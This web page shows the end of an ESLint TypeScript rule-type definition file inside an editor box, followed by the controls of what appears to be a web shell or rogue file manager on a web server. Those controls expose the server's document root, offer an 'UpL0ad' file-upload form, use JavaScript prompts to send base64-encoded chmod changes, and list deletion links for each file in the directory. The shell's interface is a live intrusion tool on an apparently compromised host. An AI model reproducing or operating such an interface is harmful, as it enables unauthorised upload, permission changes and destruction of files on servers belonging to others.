     * Rule to require quotes around object literal property names.
     *
     * @since 0.0.6
     * @see https://eslint.org/docs/rules/quote-props
     */
    'quote-props': Linter.RuleEntry&lt;[
        'always' | 'consistent'
    ]&gt; | Linter.RuleEntry&lt;[
        'as-needed',
        Partial&lt;{
            /**
             * @default false
             */
            keywords: boolean;
            /**
             * @default true
             */
            unnecessary: boolean;
            /**
             * @default false
             */
            numbers: boolean;
        }&gt;
    ]&gt; | Linter.RuleEntry&lt;[
        'consistent-as-needed',
        Partial&lt;{
            /**
             * @default false
             */
            keywords: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce the consistent use of either backticks, double, or single quotes.
     *
     * @since 0.0.7
     * @see https://eslint.org/docs/rules/quotes
     */
    'quotes': Linter.RuleEntry&lt;[
        'double' | 'single' | 'backtick',
        Partial&lt;{
            /**
             * @default false
             */
            avoidEscape: boolean;
            /**
             * @default false
             */
            allowTemplateLiterals: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to require or disallow semicolons instead of ASI.
     *
     * @since 0.0.6
     * @see https://eslint.org/docs/rules/semi
     */
    'semi': Linter.RuleEntry&lt;[
        'always',
        Partial&lt;{
            /**
             * @default false
             */
            omitLastInOneLineBlock: boolean;
        }&gt;
    ]&gt; | Linter.RuleEntry&lt;[
        'never',
        Partial&lt;{
            /**
             * @default 'any'
             */
            beforeStatementContinuationChars: 'any' | 'always' | 'never';
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing before and after semicolons.
     *
     * @since 0.16.0
     * @see https://eslint.org/docs/rules/semi-spacing
     */
    'semi-spacing': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            before: boolean;
            /**
             * @default true
             */
            after: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce location of semicolons.
     *
     * @since 4.0.0-beta.0
     * @see https://eslint.org/docs/rules/semi-style
     */
    'semi-style': Linter.RuleEntry&lt;[
        'last' | 'first'
    ]&gt;;

    /**
     * Rule to require object keys to be sorted.
     *
     * @since 3.3.0
     * @see https://eslint.org/docs/rules/sort-keys
     */
    'sort-keys': Linter.RuleEntry&lt;[
        'asc' | 'desc',
        Partial&lt;{
            /**
             * @default true
             */
            caseSensitive: boolean;
            /**
             * @default 2
             */
            minKeys: number;
            /**
             * @default false
             */
            natural: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to require variables within the same declaration block to be sorted.
     *
     * @since 0.2.0
     * @see https://eslint.org/docs/rules/sort-vars
     */
    'sort-vars': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            ignoreCase: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing before blocks.
     *
     * @since 0.9.0
     * @see https://eslint.org/docs/rules/space-before-blocks
     */
    'space-before-blocks': Linter.RuleEntry&lt;[
        | 'always' | 'never'
        | Partial&lt;Record&lt;'functions' | 'keywords' | 'classes', 'always' | 'never' | 'off'&gt;&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing before `function` definition opening parenthesis.
     *
     * @since 0.18.0
     * @see https://eslint.org/docs/rules/space-before-function-paren
     */
    'space-before-function-paren': Linter.RuleEntry&lt;[
        | 'always' | 'never'
        | Partial&lt;Record&lt;'anonymous' | 'named' | 'asyncArrow', 'always' | 'never' | 'ignore'&gt;&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing inside parentheses.
     *
     * @since 0.8.0
     * @see https://eslint.org/docs/rules/space-in-parens
     */
    'space-in-parens': Linter.RuleEntry&lt;[
        'never' | 'always',
        Partial&lt;{
            exceptions: string[];
        }&gt;
    ]&gt;;

    /**
     * Rule to require spacing around infix operators.
     *
     * @since 0.2.0
     * @see https://eslint.org/docs/rules/space-infix-ops
     */
    'space-infix-ops': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            int32Hint: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing before or after unary operators.
     *
     * @since 0.10.0
     * @see https://eslint.org/docs/rules/space-unary-ops
     */
    'space-unary-ops': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default true
             */
            words: boolean;
            /**
             * @default false
             */
            nonwords: boolean;
            overrides: Record&lt;string, boolean&gt;;
        }&gt;
    ]&gt;;

    /**
     * Rule to enforce consistent spacing after the `//` or `/*` in a comment.
     *
     * @since 0.23.0
     * @see https://eslint.org/docs/rules/spaced-comment
     */
    'spaced-comment': Linter.RuleEntry&lt;[
        'always' | 'never',
        {
            exceptions: string[];
            markers: string[];
            line: {
                exceptions: string[];
                markers: string[];
            };
            block: {
                exceptions: string[];
                markers: string[];
                /**
                 * @default false
                 */
                balanced: boolean;
            };
        }
    ]&gt;;

    /**
     * Rule to enforce spacing around colons of switch statements.
     *
     * @since 4.0.0-beta.0
     * @see https://eslint.org/docs/rules/switch-colon-spacing
     */
    'switch-colon-spacing': Linter.RuleEntry&lt;[
        Partial&lt;{
            /**
             * @default false
             */
            before: boolean;
            /**
             * @default true
             */
            after: boolean;
        }&gt;
    ]&gt;;

    /**
     * Rule to require or disallow spacing between template tags and their literals.
     *
     * @since 3.15.0
     * @see https://eslint.org/docs/rules/template-tag-spacing
     */
    'template-tag-spacing': Linter.RuleEntry&lt;[
        'never' | 'always'
    ]&gt;;

    /**
     * Rule to require or disallow Unicode byte order mark (BOM).
     *
     * @since 2.11.0
     * @see https://eslint.org/docs/rules/unicode-bom
     */
    'unicode-bom': Linter.RuleEntry&lt;[
        'never' | 'always'
    ]&gt;;

    /**
     * Rule to require parenthesis around regex literals.
     *
     * @since 0.1.0
     * @see https://eslint.org/docs/rules/wrap-regex
     */
    'wrap-regex': Linter.RuleEntry&lt;[]&gt;;
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/@types/eslint/ts3.1/rules<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&x=YmVzdC1wcmFjdGljZXMuZC50cw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=YmVzdC1wcmFjdGljZXMuZC50cw=="/>best-practices.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=YmVzdC1wcmFjdGljZXMuZC50cw==&c=`+btoa(c):0" value="0644"></td><td>22000</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&x=ZGVwcmVjYXRlZC5kLnRz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=ZGVwcmVjYXRlZC5kLnRz"/>deprecated.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=ZGVwcmVjYXRlZC5kLnRz&c=`+btoa(c):0" value="0644"></td><td>5793</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&x=ZWNtYXNjcmlwdC02LmQudHM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=ZWNtYXNjcmlwdC02LmQudHM="/>ecmascript-6.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=ZWNtYXNjcmlwdC02LmQudHM=&c=`+btoa(c):0" value="0644"></td><td>12009</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&x=aW5kZXguZC50cw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=aW5kZXguZC50cw=="/>index.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=aW5kZXguZC50cw==&c=`+btoa(c):0" value="0644"></td><td>610</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&x=bm9kZS1jb21tb25qcy5kLnRz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=bm9kZS1jb21tb25qcy5kLnRz"/>node-commonjs.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=bm9kZS1jb21tb25qcy5kLnRz&c=`+btoa(c):0" value="0644"></td><td>3110</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&x=cG9zc2libGUtZXJyb3JzLmQudHM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=cG9zc2libGUtZXJyb3JzLmQudHM="/>possible-errors.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=cG9zc2libGUtZXJyb3JzLmQudHM=&c=`+btoa(c):0" value="0644"></td><td>12885</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&x=c3RyaWN0LW1vZGUuZC50cw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=c3RyaWN0LW1vZGUuZC50cw=="/>strict-mode.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=c3RyaWN0LW1vZGUuZC50cw==&c=`+btoa(c):0" value="0644"></td><td>336</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&x=c3R5bGlzdGljLWlzc3Vlcy5kLnRz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=c3R5bGlzdGljLWlzc3Vlcy5kLnRz"/>stylistic-issues.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=c3R5bGlzdGljLWlzc3Vlcy5kLnRz&c=`+btoa(c):0" value="0644"></td><td>44324</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&x=dmFyaWFibGVzLmQudHM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=dmFyaWFibGVzLmQudHM="/>variables.d.ts</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvQHR5cGVzL2VzbGludC90czMuMS9ydWxlcw==&f=dmFyaWFibGVzLmQudHM=&c=`+btoa(c):0" value="0644"></td><td>4398</td></tr></table>